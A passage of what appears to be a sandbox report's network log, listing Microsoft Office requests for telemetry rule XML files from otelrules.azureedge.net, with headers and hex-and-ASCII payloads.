46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:42 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 54b09425-601e-0097-522c-2af33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145942Z-r197bdfb6b4wbz6dd37axgrp9s000000010000000000gumq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:24 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: deb87e8e-601e-0001-3532-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145924Z-r197bdfb6b4zbthzeykwgnvx8s00000000zg000000009myn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:42 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: b018d53a-601e-0050-79af-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145942Z-r197bdfb6b4c8q4qvwwy2byzsw00000008k0000000006spe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:24 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:24 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145924Z-15b8d89586fhl2qtatrz3vfkf00000000ehg000000002eg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:24 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:24 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a2526616-701e-0050-123d-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145924Z-17c5cb586f6wmhkn5q6fu8c5ss00000007ng000000006zt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=
2024-10-30 14:59:42 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145942Z-16849878b7867ttgfbpnfxt44s00000007z000000000rkw0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:25 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:25 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:25 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145925Z-16849878b78hh85qc40uyr8sc800000008b000000000v3cm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:25 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:25 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e0a2f103-c01e-007a-3367-28b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145925Z-15b8d89586fvpb59307bn2rcac00000003bg00000000709u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:43 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:43 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bb32e714-c01e-008d-58b0-262eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145943Z-15b8d89586fvk4kmbg8pf84y880000000930000000009vbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:25 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:25 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145925Z-16849878b78qfbkc5yywmsbg0c00000007r000000000xqau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:25 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>
2024-10-30 14:59:43 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 7526ce6b-701e-003e-79c0-2a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145943Z-r197bdfb6b4n9cxdnknw89p4zg000000014g000000009gfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:27 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:27 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 34089ae0-601e-005c-0dae-2af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145927Z-r197bdfb6b4skzzvqpzzd3xetg00000007kg00000000evhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:27 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> 